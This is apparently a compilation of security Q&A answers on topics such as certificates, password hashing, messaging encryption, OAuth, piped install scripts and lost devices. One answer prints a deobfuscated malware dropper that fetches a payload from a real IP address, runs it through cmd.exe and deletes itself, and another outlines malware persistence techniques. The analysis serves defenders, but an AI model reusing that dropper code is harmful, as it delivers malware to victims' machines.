:: recombine substituting HSM signature (on Unix just cat)

C:\temp>copy /b bastard.1+bastard.2+bastard.3+bastard.x fixed.der

:: convert back to PEM and check result

C:\temp>openssl x509 <fixed.der -inform der >fixed.pem

C:\temp>openssl verify -CAfile hsmcert.pem fixed.pem
fixed.pem: OK


Hashing passwords and dealing with duplicates

One of the reasons that password_hash produces different results for the same password is to prevent information leaks and make passwords harder to crack if the hashes are obtained by an attacker. You really don't want to compromise this security feature - not only will it be less protection for customer data but you will also be rolling your own solution rather than using well supported and accepted solutions.

Using identical password to detect multiple accounts by the same account holder is a bad idea anyway - it is bound to cause false positives and result in you blocking legitimate accounts.


What are the possible security issues when making a checkout system in Javascript?

The user's client should submit only the order's list of items (and quantities) to the server. Anything else about the order -- especially how much the entire order costs -- should be computed on the server, based on the list of items that were ordered. If the user mucks around with the JavaScript that submits which items the user has ordered, there's nothing really wrong with that: it is equivalent to the user having normally ordered some different items.

Optionally, you may have the client also compute the order total, purely as a UX convenience for the user. This value should be thrown away when submitting the order to the server, since the user may have altered it after it was calculated by your script.


Wasn't WhatsApp messages already encrypted?

E2E encryption was supported by the Android client but not the iOS client until now. For this reason there was an feature to disable the encryption by the server side. This rendered the E2E encryption useless. Now the protocol is fully implemented for all clients so that tampering of the encryption by the server side should not work anymore. However, WhatsApp could change the client code at any time to implement a backdoor or something.

  In what ways, if any, is using Signal Private Messenger more secure than using WhatsApp?

Beside that WhatsApp could change any code at any time for any reason and nobody would notice it immediately there's still the problem with meta data. The E2E encryption is only applied to the content of the conversation. Everything else is just protected by transport security. WhatsApp also has access to the contact list of all users by default. The biggest problem is that WhatsApp belongs to Facebook and the business model of Facebook is analyzing user data so you can not assume that your privacy really matters to them. However I must admit that the business model of Open Whisper Systems isn't very obvious either.

Summary

Things WhatsApp can access at the moment:

When (How often) a communication happened and a user was online
Who was involved (telephone number, IP address)
How big the messages where
Contact list of all users
Google mail address of all users

Things which are protected:

Content of a message

Some people say that the introduction of the axolotl protocol was just to get users back from Signal, Threema, Telegram and similar services.


Securing an IIS application with a complex configuration

DPAPI actually works through 2 pretty simple function calls: CryptProtectData and CryptUnprotectData.

To make a long story short, CryptProtectData has two mode of operation: User or system. If you use the user mode (default), then the data is encrypted using the current user logon data. It means that you can only sucessfully call CryptUnprotectData on the same data from the same user context as the one you called CryptProtectData from. (in "system" mode, any process running on that same machine can decrypt the data but not from another system: no too good when the data is in a database).

This means that, if you initially encrypted your data in the SQL server database using a specific AD user account, you're permanently limited to using this user to access it. (This might be considered a defect or a feature depending on the application).

What does it means to you? Well, unless you can change the way the application works or you're willing to reset encrypted data completely, you cannot change the identity used by the web application process.

The good news, however, is that this doesn't have to be insecure: if your web application is an ASP.NET app and uses connection strings stored in the web.config file in a standard way, you can protect them using the DAPI as well but this time with a delegate to the system. Microsoft has a pretty lengthy explanation on how to do that.

Finally, there is always the usual way to dead with that kind of issues: contact the application developers: they are the ones that can tell you exactly what is supported and how. If necessary, they are the ones that can also make the necessary changes to their system to reach the security goals that you have set.

Edit: There is an additional element that you must take into account in your case: when using DAPI, the master key used for encryption is stored in the user profile.

This means that, when you're using a virtual user account (as the ones created for you when running a web app under AppPoolidentity), DAPI actually will not be persisted or reloaded since there is no actual profile created and you will experience the issue you describe: IISreset causes the application to lose its master encryption key because it cannot persist it.

To solve that, you can switch to switch to the NetworkService identity for your web application pool. You will lose the segregation of user provided by the virtual account but, beyond that, it should work in the same way. Microsoft also suggests that you check the "LoadUserProfile" property of the web application pool but I'm dubious that changing it will solve your issue on its own: try it but my guess is that you'll have to use NetworkService as well.


X509Certificate - How to set validation Policies?

By definition, "custom extensions" are custom: they are understood only by implementations which have been made aware of them; all other implementations consider such extensions as "unknown" and ignore them (unless the extension is marked "critical", in which case the implementations which do not recognize the extension must reject the complete certificate).

There is no standard method to encode within a certificate instructions about the processing of an unknown extension. The standard behaviour (ignore or reject, depending on the "critical" flag) is all you will get. Strangely enough, people who design X.509 have not (yet) made the validation algorithm Turing-equivalent (although no doubt some have been tempted to).

A consequence is that non-critical custom extensions are mostly comments (since they will be ignored by third-party implementations), while critical custom extensions make the certificates application-specific (since third-party implementations will refuse to process them).


Safest & Secure Way To Store People's Login Information?

IMHO, there are two different problems here.

The former one is technical and resumes to how can I securely store secret information. If it must be used by an application, the best you can do is to encrypt the information. But whatever you do, the application will have to access the plain text information, so if its is hacked, the attacker will have it. At least the information is protected at rest. If the application has to run in unattended mode, things are even worse because the decryption key has to be available on the machine itself. The safer way would be to use a HSM to protect the master key, but anyway the HSM must be accessible from the machine, so if an attacker manages to control it, they will be able to use the HSM to get the master key. At least you will be able to say that you followed a best effort strategy.

The latter is more fundamental: if a user gives you their credentials on a third party site, you (and any staff member with admin priviledge on the machine hosting the application!) will be able to impersonate that user, without the third party site beeing able to differentiate the accesses. IAMNAL, but I suspect that this could lead to interesting legal problems if the account is used for weird operations... Be sure to get a lawyer's advice on the contract you will have with your users.


How to discover GET/POST parameters used in URL during pentest?

you can only discover parameters used by developer and serving to you, in this case if you want to discover all GET/POST parameter of the page you should analyse the code of this page, no way to discover all parameters after compile.


Does "Armoring" an encrypted string always produce the same length output if plaintext was same length?

ASCII armoring produces the same length output for the same length input, where the input for ASCII armoring is the encrypted text. But, the encryption you do before the armoring does not necessarily produce the same length output for the same length input since symmetric encryption in GPG also involves compression.

Thus, the length of the encrypted data and thus the length of the armored data depends not only on the input length but also how good the input can be compressed. You can switch off compression with --compression-level 0.

But even if you have switched off compression the output length might be different of the input file name is different. Thus, you should read from stdin and write to stdout (i.e. use gpg as pipe) instead of specifying a file name as argument for encryption.


Hacked, is my IOS systems safe?Werid things?

As helphul as it might be for you to figure out the motivation behind all of this, that is nothing we might help you with.

As far as the breach of your system goes:

A lot of online identities seem to be affected and compromised.
Your computer seems to be not you computer anymore.

There are several things we cannot help you with:

If you linked your iOS device with the computer that is no longer yours, a jailbreak and following up an infection might have happened.

Detecting wether that is the case or not is not easiliy possible remotely.
If you linked any cloud services to the identities that have been compromised with your iOS device, photos, documents, contacts,... might (dis)appear at any time.

Precious data should be backed up already. If that's not the case, there is little hope such data can be rescued.

There are several steps to take:

Check for infections across your network (router?)
Secure your network
Nuke all your infected devices from orbit
Regain control over all compromised identities by reaching out to their customer service
Use strong passwords, do not reuse passwords

Side note:

Note that this is not a forum but a Q&A site. Please read [ask] and do not use comments for extended discussions.


Trojan "Win32/Tnega!MSR" found by Windows Defender - aliases used by other antiviruses?

Does anyone here know the alias used for "Tnega!MSR" by other antiviruses, or can point me to a resource so I can find it out myself?

Use the VirusTotal website.
They have a lot of information on all the various names for this malware here
For example, Defender calls it "Trojan:Win32/Tnega!MSR", ESET calls it "Win32/RA-based.NJV", et cetera.


Security can actually be splitted in Confidentiality, Integrity, Availability. For the C part, the most secure place is... you brain. If you only have few keys, and they are simple enough to remember (better a phrase with normal spelling than weird spelling on a short word) and you use all of them on a daily base, it is reasonably safe for the two other parts, and you should stay there.

If one of the above conditions is not met, that is is the key is hard to remember (a mere sequence of characters), or if you only seldom use it you should use a password vault like for example Keypass that has good reputation on this site. At the end, they all rely on a master key, but the difference is that you can choose it, and that you only have to remember it. You could think of a simple encrypted file, but password vaults have some goodies (ability to type the password for you, synchronization, etc.) that really worth it.


Detecting OAuth malicious Implementation

The OAuth RFC states:

  OAuth uses tokens to represent the authorization granted to the
     client by the resource owner.  Typically, token credentials are
     issued by the server at the resource owner's request, after
     authenticating the resource owner's identity (usually using a
     username and password).

  There are many ways in which a server can facilitate the provisioning
     of token credentials.  This section defines one such way, using HTTP
     redirections and the resource owner's user-agent.  This redirection-
     based authorization method includes three steps:

  The client obtains a set of temporary credentials from the server
     (in the form of an identifier and shared-secret).  The temporary
     credentials are used to identify the access request throughout
     the authorization process.
  The resource owner authorizes the server to grant the client's
     access request (identified by the temporary credentials).
  The client uses the temporary credentials to request a set of
     token credentials from the server, which will enable it to access
     the resource owner's protected resources.

So to have the authorisation, the client (the site using your data) must redirect you to the server that holds your data for signing up.

At Section 2.2 the RFC states :

  The way in which the server handles the authorization request,
     including whether it uses a secure channel such as TLS/SSL is beyond
     the scope of this specification.  However, the server MUST first
     verify the identity of the resource owner.

But definitely I (as resource owner) won't use any OAuth-orisation without checking the certificate of the site.

So for OAuth 1.0 this is not mandatory.

The OAuth 2.0 RFC is still a draft but I understand that it requires TLS

  10.9.  Endpoints Authenticity

  In order to prevent man-in-the-middle and phishing attacks, the
     authorization server MUST implement and require TLS with server
     authentication as defined by [RFC2818] for any request sent to the
     authorization and token endpoints.  The client MUST validate the
     authorization server's TLS certificate in accordance with its
     requirements for server identity authentication.

[...]

  10.11[...]
     To reduce the risk of phishing attacks, the authorization servers
     MUST utilize TLS on every endpoint used for end-user interaction

Hence the authentication relies on TLS protocol as it was discussed on the blog recently.

To summarise I would suspect any attempt to OAuth without TLS as malicious. And of course the same if the SSL certificates does not validate.


Today (windows) computers are usually are fairly good locked against direct attacks from the network by default, at least if you specify that you are on a public network. That means they have a firewall, don't expose unneeded services to the outside etc.

  I am not too concerned about being "attacked" as my computer's are mainly gaming and internet (Social Media etc.)

Unfortunately that is exactly the activity which makes you vulnerable. Lots of current attacks just require you to surf to some web site and then you get infected by drive-by-downloads, which typically exploit vulnerabilities in Java, Flash, Acrobat Reader, but also in Microsoft Office or the browser itself. You don't even need to surf to shady or illegal sites, because most of this malware is spread by hacked normal sites or through advertising (malvertising).

What helps here are modern browsers with multiple protection layers (sandbox etc), which are up-to-date all the time. Of course the rest of the system should be up-to-date too and you should not install any software which you don't really need - because they might associate itself with some file types and then get automatically executed if you access specific content from the web.
What also helps is to block advertisements etc to reduce your attack surface (and lots of malware comes with the help of ad networks). And finally a virus scanner will help too.

And once the attacker got access to your system through malware all your local password protection might not be much worth, because the attacker can watch you, install key loggers etc and thus get access to these information.

If you have really sensitive data you might better use a separate throw-away system like a linux live-system or a virtual machine to surf the web, which should have only limited access to the outside (that is you get get data from this potentially compromised system put it can not push data to the main system).

Apart from that lots of web sites are vulnerable against web based attacks like cross-site-scripting or CSRF. These vulnerabilities can be used by other sites open within the same browser (not necessary at the same time) which can cause exposure of login information or other ways of identity theft or identity misuse. So you should not share the same browser profile for normal and for critical sites (like online banking).

If you follow all these tips you are not fully secure, but this helps more than installing some form of firewall, at least for how you use your computer.


Multiple, different sites on same server. Individual SSL certificates for each or SAN certificate?

If the sites are unrelated it would be best to have different certificates. And if the different domains have different owners more so.

But, multiple certificates on the same system can be a problem when you try to serve multiple domains from a single IP address. In this case the client needs to use the Server Name Indication (SNI) extension to signal the server which of the hosts it tries to access. While SNI is supported by all recent web browsers it is not supported by older browser (IE8 on XP) and several programming languages still have problems with it: support for SNI was added to python only with 2.7.9 a year ago so lots of systems don't support it. And while SNI is available for Java since version 7 it still makes problems with older libraries on Android. Also, some bots don't support SNI either, like the bot for the search engine bing.

Thus it might be in theory nicer to have multiple certificates but in practice this can cause problems.


Greylisting is used in the context of an antispam technique for emails. It somehow uses this terminology:

Whitelist: people who are allowed in, unconditionally.
Blacklist: people who are rejected, whatever they claim.
Greylist: the other people, who are temporarily rejected but will be whitelisted (i.e. allowed to enter) if they bother to come back later, thereby proving that they are not a low-grade one-shot spammer.


Is it safe/wise to store a salt in the same field as the hashed password?

You should store it in a single field. Do not try to divide it into parts.

I know this might seem a bit unintuitive for people coming from a database background, where the modus operandi is to normalize data and using serialized strings is considered an ugly hack. But from a security practice, this makes perfect sense.

Why? Because the smallest unit the individual developer needs to operate on is that full string. That is what the app needs to pass to the hash library to check if a provided password is correct or not. From the developers perspective, the hash library can be a black box, and she need not concern herself with what those pesky parts actually mean.

This is a good thing, because most developers are imperfect humans (I know, because I am one myself). If you let them pick that string apart and then try to fit it all together again they will probably mess things up, like give all users the same salt or no salt at all.

Only storing the parameters in the code is also a bad idea. As processors gets faster, you may want to increase the cost factor in the future. During the migration phase, different passwords will have different cost factors. So you will need information on the password level about what cost factor was used to hash it.


Can you trace malware back to a specific keyboard?

A keyboard is not a typewriter. Keyboards produce scancodes that are interpreted by the software and mapped depending on your layout. When a key press produces a letter on your screen it's nothing more than the character value in its respective charset - keyboards don't leave "digital fingerprints" that could be traced back.

Instead, the author probably meant to say that they found strings or identifiers with Cyrillic letters in the source code. But such traces are easy to fake and wouldn't count as "hard evidence"; even metadata could have been planted.

Here's a similar case: After the Operation Aurora cyber attacks, analysts claimed they had found "Chinese source code" from which they concluded that the attack was led from China:

  HBGary, a security firm, recently released a report in which they claim to have found some significant markers that might help identify the code developer. The firm also said that the code was Chinese language based but could not be specifically tied to any government entity.

Here, the case was actually stronger than the Cyrillic keyboard evidence as researchers could trace back parts of the code to a reference implementation that was only released in a Chinese paper:

  Perhaps the most interesting aspect of this source code sample is that it is of Chinese origin, released as part of a Chinese-language paper on optimizing CRC algorithms for use in microcontrollers. [...] This CRC-16 implementation seems to be virtually unknown outside of China

(Source)


Do CAs issue intermediate Certificate for each new certificate request?

Certificate that CA issue is a, simply said, confirmation that public key that you sent to CA in the Cerfiticate Request, really belongs to you (otherwise everyone could claim that he is the owner of domain google.com or amazon.com). Since the certificate contains your public key, it cannot be prepared in advance. Furthermore, response time depends on the type of certificate you requested. Simple certificates that confirm that the requester (you) really owns domain take little time to generate. Usually CA sends you a link to some email your domain, like admin@yourdomain.org. You click on the link and confirm you are the owner. Then CA generates a certificate and sends it to you.

But other types of certificates include much more verification, e.g. CA needs to verify that your company really exists and is really properly registered, that your company resides at the particular address, etc. Such verification can take much longer, days or weeks. It takes much effort, so the price is correspondingly higher. But also the certificate confirms much more than other certificates.

Besides domain certificates there are other types of certificates, like S/MIME: To sign your emails, so the the receiver can rely that the email is really from you; also it can be user for Email encryption. Verification and generation of such certificates takes even less time than for domain certificates. There are certificates for code signing, etc.

More details you can find on the web sites of CAs (I prefer not to promote here any of them).

To signing certificates:

CA has a root certificate. It is the most important piece in the certificate hierarchy. That's why it is stored with much security. For practical often usage it is inconvenient. That's why CA uses root certificate (whose validity is usually 10 years or more) to issue some signing certificates that have shorter validity, like 3 - 5 years. Shorter validity means less exposure and thus less risks of compromising.

To the question: Yes, such signing certificates are created in advance.


Difference between Non-discretionary and Role-based Access control?

RBAC can be discretionary access control, with anyone in the role granting it to you, or mandatory access, with only the security officer granting the role upon application from a manager.

The latter is more common, so the book probably just conflated the two.


Is it possible to additionally sign a Let's Encrypt certificate with another self-signed root certificate?

is it possible for them to "add" their signature to my certificate? Would the answer be different with other issuer than Let's Encrypt?

there is nothing you need to do on your end. Remote party must use their own CA to re-sign Let's Encrypt CA certificate. Not yours. This will result in a cross-certificate with:

Issuer matches remote party's CA name
Subject matches original LE name
Public key/SKI extension matches original LE public key/SKI extension
Signature validated by remote party's CA public key
Other fields/extensions may be copied over or overwritten by remote CA. For example, they may add Name Constraints extension to cross-certificate to filter valid LE certificates that matches Name Constraints extension configuration (otherwise, they will blindly accept all LE-issued certs).

A presence of this cross-certificate will allow client to produce two chains:

Main chain that uses normal LE path that ends up with globally trusted root.
Alternate chain that uses created cross-certificate that ends up with remote party's root CA

Client application must be able to handle multiple chains and have an appropriate logic to select the proper chain (with their root).

I understand the inconvenience that it will have to be done every 3 months

no. Cross-certificate validity can match LE CA validity (though, not exceed) which is way more than 3 months.
And again, all this must be done on remote party's end.


What you are describing does appear to be a problem outside your immediate network: at the router (assuming all traffic from this office goes through one router) or the ISP. If the ISP uses an ad network and that network has malicious ads, this problem can occur.


What is web application security best practice for HTTP Get request?

Since GET request are more prone to be saved in various logs, it is considered unsafe to place private or confidential information in them.

Using an ID is perfectly fine since it is anonymous data. If your user ID is not a surrogate key, then you should create a new one and use it for externally identify the user.


It most certainly is malware. It uses JavaScript with ActiveX* and VBScript to download and execute a stage two payload that does something else. Although it is written in JavaScript, it is not executed in the browser. Instead, it is executed in the Windows Script Host when it is double-clicked. This is the deobfuscated and abridged version of the function zQlMdib from the file:

// download and execute stage 2 payload
function stage1_payload() {
    // connect to server hosting stage 2 payload and download into memory
    var http_obj = new ActiveXObject("MSXML2.XMLHTTP");
    http_obj['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false);
    http_obj['send']();

    // evaluates true only if http connection succeeded
    if (http_obj['Status'] == 200) {
        // open activex objects for filesystem and file access
        var fs_obj = new ActiveXObject("Scripting.FileSystemObject");
        var file_obj = new ActiveXObject("ADODB.Stream");

        // create and open temporary file (as binary) in system temporary folder
        var temp_file = fs_obj['GetSpecialFolder'](2) + '\' + fs_obj['GetTempName']();
        file_obj['Open']();
        file_obj['Type'] = 1;

        // save response body containing stage 2 payload to temporary file
        file_obj['Write'](http_obj['ResponseBody']);
        file_obj['Position'] = 0;
        file_obj['SaveToFile'](temp_file);
        file_obj['Close']();

        // execute temporary file using command prompt
        var shell_obj = new ActiveXObject("WScript.Shell");
        shell_obj['run']('cmd.exe /c ' + temp_file, 0);
    }

    // delete currently-executing script (the js file you received)
    var script_name = WScript['ScriptFullName'];
    fs_obj['deleteFile'](script_name);
}

* Even if your browser doesn't support ActiveX, this file executes in the Windows Script Host, which does support it.


It sounds like what you're looking for is an "out of band" code or token. This means you want something that's not accessible to someone who physically has the phone. So things like emails and Google Authenticator are out.

I'm assuming that users will do (at least) first-time account setup through a web-browser, what about having them enter an "SMS PIN" which the chatbot will later prompt them for?

This is similar to using the last 4 digits of their credit card number in that it will be in their SMS history and a phone thief can make charges to your chat bot. What makes me nervous about CC digits is that for convenience of your service, you are increasing your users' risk of identity theft.

As you pointed out in your question: if the user gets their phone stolen and the attacker gets past the lock screen, they're kinda sunk anyway. What you are really protecting against is somebody impersonating your user from a different phone through SMS spoofing the from: number. In this regard either an email one-time password, or a pre-set pin will give you the security you need.


This is a great question and very important as companies move to industrial IoT, which is where I see this come up the most. I can say, from first hand pentesting experience, that proprietary protocols using "Security through obscurity" are very dangerous.

The problem with proprietary protocols is that they are not typically fully developed or developed with a specific focus on security in mind, or at all, in my experience. Typically the RF engineer to build the protocol is an EE not a security professional.

Proprietary protocols not being safe is also true with more than RF and also applies to ethernet or serial protocols. I've had companies tell me their device is secure because [pick someone] couldn't figure out the protocol. Yes, that can happen if you have a classic IT red-team, but when you send it to us and we pull out a spectrum analyzer and reverse it and everything is in plain text I'd call that almost no security. Definitely not security you can count on. I can personally verify my lab reversing multiple proprietary Ethernet protocols and 2 wireless RF and one IR. All insecure.

You can also run into multiple other problems, like information leakage, developer backdoors (how about a command to factory reset a device with no authentication, for example), and just broken QA. You also have to pay for all of that now.

Standard bluetooth has a built ability to use AES encryption. I'd highly recommend that approach. 6lowpan and Zigbee are less "known" but both have undoubtedly been fully broken apart by nation state security professionals, as if we did it in our 10 man lab I don't believe the NSA has not although, I have no proof.

So to be clear, if you would like to pay engineers and security engineers to build you a secure protocol and go through full QA and Pen testing, that's not a bad thing. If you want to create a simple, unencrypted protocol, and hope "no one will look" I'd say that's a recipe for disaster. Or you could just use Zigbee/Bluetooth and make sure encryption is enabled.

That said, yes proprietary protocols will be out of reach of the "Script Kiddie," but I wouldn't call that ideal security.


Website hacked, how to safeguard in future?

It seems to me that someone was able to exploit upload functionality to upload a php file to that directory.

You should search for lines of code that reference that directory, and ensure that any functionality that is uploading content to that directory is checking for a whitelisted set of extensions.(.png, .jpg, etc)

Further, you should not store user uploaded files in the web root.


Technically, there's nothing prohibiting you from using a certificate for multiple purposes.  A correctly implemented client should check the certificate's key usage and basic constraints extension values to determine if it is allowed to be used for the purpose that it's being presented for, but a certificate can certainly be created to serve two purposes.

That said, should you do this?  Almost absolutely not.  When you have two systems with very different security requirements such as these, it's not just a matter of "if one is compromised, they both are" but also that the system that needs the strongest security is exposed to the vulnerabilities of the system that requires the weakest protection.  So, you either have to waste resources protecting the weaker system beyond its requirements, or unnecessarily exposing the system that requires stronger security and accepting unnecessary risk.

An example:  Take a CA that uses their root CA cert as their web server cert.  If they were susceptible to Heartbleed, not only would they have to  deal with the revoking and re-issuing a server cert, a mere annoyance, but their extremely precious root cert private key would have been exposed, and potentially used to create wide-spread havoc which could be truly disastrous.

So, when you have systems with widely disparate security requirements, doesn't share certs (or critically limiting infrastructure) between them.


Keyboard vs clipboard password manager threat models

Without a defining a threat model, it's hard to compare effectiveness.  Clearly, both fail in the face of malware running on the local computer.  (Either keyboard events or the clipboard can be read from malware.)

With Flash, it's possible to read the contents of the clipboard, so there's a small opportunity there where passwords might be leaked.  (Though JavaScript has access to the clipboard, it can't read the contents without the user selecting paste.)

At the end of the day, neither approach is likely to be the make-or-break factors in the security of a password manager.


Is `curl {something} | sudo bash -` a reasonably safe installation method?

It it's about as safe as any other standard1 installation method as long as you:

Use HTTPS (and reject certificate errors)
Are confident in your certificate trust store
Trust the server you're downloading from

You can, and should, separate the steps out -- download the script2, inspect it, and see if it's doing anything fishy before running the script you downloaded3. This is a good idea. It won't hurt anything if you do it and you might catch a compromise, which you can report to the source and the community at large. Be prepared to dig through quite a lot of Bash, if my experience with such things is any indicator. You can also try 'expanding' it, downloading any scripts that it would separately and tweaking the script to call those, if you're particularly worried about evil servers, but at some point you have to decide to just use a different server if you trust the first one so little.

Be aware that if the server (deb.nodesource.com) is compromised, you basically have no recourse. Many package managers offer to verify GPG signatures on packages, and even though a fundamental part of the keysigning architecture is broken, this does still by and large work. You can manually specify the CA for wget and curl, though this only proves you're really connecting to that server, not that the server is serving safe code or that it's legitimate code from the creators.4

If you're worried about arbitrary code execution, APT definitely allows that, and I'm fairly confident both Homebrew and Yum do as well. So comparatively, it's not unsafe. This method allows greater visibility; you know precisely what's happening: A file is being downloaded, and then interpreted by Bash as a script. Odds are good you have enough knowledge already to start investigating the script. At worst, the Bash may call another language you don't know, or download and run a compiled executable, but even those actions can be noticed beforehand and, if you're so inclined, investigated.

As a side note, given that a lot of the time you need to install things with sudo, I don't see its use here as any special concern. It's mildly disconcerting, yes, but no moreso than sudo apt install ....

1: There are significantly safer package managers, of course -- I'm only talking about standard ones like APT and yum.

2: ...while being careful with your copy/pastes, naturally. If you don't know why you should be careful with your copy/pastes, consider this HTML: Use this command: echo 'Hello, Evil!'. To be safe, try pasting into a (GUI) text editor, and ensure you copied what you think you did. If you didn't, then stop trusting that server immediately.

3: You can actually detect whether the script is just being downloaded or being downloaded-and-executed, because interpreting a script with Bash takes a different amount of time than saving it to a file, and Linux's pipe system can "back up", which can make those timing differences visible to the server. If you ran the exact curl | sudo bash command they gave, your examination is (at least if it's a malicious server...) meaningless.

4: Then again, it looks like NodeSource is creating some sort of custom installer, which wouldn't be signed by the Node team anyway, so... I'm not convinced that it's less safe in this particular case.


I anonymously submitted a security vulnerability, but it was not resolved. What now?

This entirely depends on wether or not you violated any law or school rules when you stumbled onto the problem.
If you found it without violating rules
If you didn't violate any rules (e.g. this is a simple enumaration problem with a web app and you just put in yourID+1 and got another students data) there should be no problem with disclosing this non-anonymously.
Please keep in mind that especially schools do get a lot of anonymous threats that are mostly - and correctly - not taken seriously.
Thus, your disclosure might have better credibility with your name on it - and since you didn't break any rules, there shouldn't be a problem.
If this still doesn't work, read further and ignore the remarks about anonymity.
If you are unsure wether you broke any rules
If there is doubt wether this might lead to legal trouble for you, there are some options, I'd advocate for a responsible disclosure.
After allowing a grace period (that should be included in the report to make sure the consequences of not fixing this are clear to all parties), you can proceed with publicly disclosing the issue.
There are several means to do so; there are websites that accept vulnerability reports and publish them anonymously. But in your case, as this is a rather localized vulnerability, you might be better off to approach the press.
With global information security being in the media regularly, you'll find at least one local newspaper that would be happy to publish the general problem and put some shame on the people that previously didn't respond at all.
Public shaming is a - rather cruel, mideval but - effective way to convince people to take an action they may previously wouldn't have.
In most jurisdictions, the press has special rules allowing them to guarantee the anonymity of the information source.


While it's true that GPU memory isn't paged out, all peripherals have addressable memory on the system and graphics cards have no special aspect about them that's designed with security in mind. It's an obscurity thing at best that somebody might not think to check there or the out-of-the-box tools don't address that space. Given proper drivers, GPU memory can be accessed via DMA, so you hard drive can write directly to the GPU if the CPU says to go for it.

Generally, all the available resources of a GPU are dedicated to graphics work. You'd have to fiddle with drivers to make them respect the space you're trying to use or it would risk being clobbered by various pixels of cats as you watch videos on YouTube.

If you're looking for a more secure use of hardware for encryption and key storage, it's best to look into dedicated units.


There are lots of ways for malware to hook into Windows auto start.  There are simple cases where the registry is modified to load modules on start.  Here is the a list of auto start locations in the registry. And a bit more info on Windows startup paths.

There are more advanced techniques, Target a driver.  Drivers are loaded fairly early on in the boot process and are run with Ring 0 privilege.  Microsoft only has 2 rings of protection, Ring 0 and Ring 3.  The example I linked to targets drivers loaded before by the Session Manager (SMSS.exe).

Or you could depend on Windows itself to load your module.  When processes load libraries that are in their import table they try a specific order of paths to find the module they're looking for.  If you insert your DLL at a location searched before the normal DLL?

This really just scratches the surface, but you get the idea.  Malware is creative, and there are lots of ways for it to enable persistance.  A lot of system processes will load modules by default, and all Malware needs is a load!


How does malware stay undetected for months?

You may refer the virus/malware type called 'Polymorphic Virus'.

A polymorphic virus is a complicated computer virus that affects data types and functions. It is a self-encrypted virus designed to avoid detection by a scanner. Upon infection, the polymorphic virus duplicates itself by creating usable, albeit slightly modified, copies of itself.

Source: https://www.techopedia.com/definition/4055/polymorphic-virus

Trend Micro explains it this way:

Polymorphic viruses are complex file infectors that can create modified versions of itself to avoid detection yet retain the same basic routines after every infection. To vary their physical file makeup during each infection, polymorphic viruses encrypt their codes and use different encryption keys every time.

Source: https://www.trendmicro.com/vinfo/us/security/definition/Polymorphic-virus

You can find some example of such codes here:

http://www.informit.com/articles/article.aspx?p=366890&seqNum=5


This is a bug existing in airodump-ng 1.2 rc4 (Released 14 Feb 2016) to airodump-ng 1.2 (Released 15 Apr 2018).

But in 18 Apr 2018, the GitHub user Mister-X fixed the problem. See the commit.

In src/airodump-ng.c with the bug, it will use input_thread() to create a thread regardless of whether the airodump-ng process running in the foreground or background.

The input_thread() will call mygetch(). And the mygetch() will call getchar(). Thus airodump-ng process will read stdin when running in the background.

In Linux, if a process reads stdin when running in the background, it will be stopped. And running timeout without --foreground option will let the COMMAND, here is airodump-ng, run in the background. So in this situation, the airodump-ng will be stopped and create a empty .cap file (asked by you).

There are two lines of thinking to solve your problem:

Let the airodump-ng run in the foreground by using --foreground option of timeout or running source <your_orignal_script.sh>.
Don't let the airodump-ng read stdin when running in background by redirecting stdin to /dev/null, timeout -sHUP 1m airodump-ng -d MYBSSID -w wpahandshake wlan0mon < /dev/null or downloading the newest source code without the bug from GitHub then compile and install it.


An attacker can easily spoof the name appearing in the from field. This could have either been guessed, found from other information about yourself online (e.g. Social Media profile where your family is listed), or indeed someone has gotten into your Mother's email account and exported the contacts.

I would personally not think it was the latter however, as you'd think an attacker would just use the compromised Mother's email account to send the email rather than using a completely different one.

Probably best to get your Mother to change her email password anyway just in case, and set up a rule that sends all messages from the heiner email address straight to your trash.


Why should I log successful log-ins to my server?

There are a few reasons that come to mind. Much of this depends on what your app does. Online banking? You want to log more than a community forum with no sensitive information or monetary value. Business app vs public?

1) IP address the user logged in from. This would provide some information should the account be compromised, and could help track down the offending person.

2) Determine if the user was able to login after failed login attempts. For instance, 9 failed attempts followed by a successful one means something very different than 9 failed and then no successful login.

3) Determine when the user last logged in, for various reasons, including whether they are actively using their account. 5 years since the last login? Not an active user.

4) If this is a business app, then you do want to log whether somebody accessed the application or not. For instance, if we know Bob is out of the country but then access the application, that could indicate something fishy. "Something fishy" will entirely depend on the application and your business.

Those are a few things that come to mind. Personally from my experience, I have used successful logins numerous times to help with internal and external investigations.


In Diffie-Hellman, why is the shared secret guaranteed to be the same?

I found an answer to my own question here on math SE (so this can be deleted, or left for reference):
https://math.stackexchange.com/questions/61358/prove-equivalence-of-diffie-hellman-shared-secret


What measures should be taken when losing an iPad

There have been some other good answers here, but there are some other measures that can be useful too. In fact, not all of these are particularly technical.

As others have pointed out, adding a passcode to your iPad will allow for full system encryption, which prevents anyone from stealing data from the device. Combining this with auto-lock and auto-wipe provides a decent level of security against a thief. For the most part, your average thief is more interested in selling the iPad on for some cash, so they're likely to just do a factory reset and wipe it.

If your device has a SIM card, it works on the same principle as a mobile phone (cellphone), which means that a thief may be able to use the device on the network and charge payments to your billing account. The absolute best defence against this is to call your provider and have the SIM blocked.

They may also be able to register the IMEI number of the device on a blacklist, which works across all networks. This causes the device to display "IMEI Locked" and halt whenever it tries to join a network, regardless of which SIM card is used. Furthermore, most police forces will check IMEI numbers of any devices found during raids of criminals' houses against the database, in order to further indict the criminal for theft and recover property. In most countries it is an offence to change the IMEI number of the device in order to evade a block, and in the UK it carries a prison sentence. Whilst this won't get you your iPad back, it'll make it very difficult for the thief to sell it on.

The iCloud and "Find My iPad" apps are useful for simple location identification, but these are unlikely to be trusted by police as they can be inaccurate. For example, there was a case in 2011 where UK police kicked down someone's door in a search for a stolen iPhone, and it turned out that the location information was wrong - the phone was actually two houses down the road. This ended up with the home owner suing the police force for damages. It's just not safe for police to rely on that kind of data. However, it can be useful in contributing to the body of evidence, which is a technical term for an array of evidence that all points to a particular address or culprit.

On the flipside, remote wipe is an excellent feature. If the thief is sloppy when going about their work, they may end up powering the device on whilst it has an available internet connection (e.g. via WiFi or 3G) and the remote wipe will automatically kick in once the device phones home. This also provides evidence for police, because cell tower geolocation and traffic timestamps are cached.

Finally, there's insurance. If you purchased the iPad on contract, often your provider will have an insurance option that covers against theft. This will cost you a monthly fee (how much depends on your contract) but will usually result in a brand new iPad being sent to you if yours is stolen. Usually they ask for a police incident number as proof of theft, but other than that there's very little hassle involved. You can also use a 3rd party insurance company (Protect Your Bubble specialises in personal devices, but there are many other companies out there) to insure against theft. Typically these offer better cover, including accidental damage, water damage, etc.

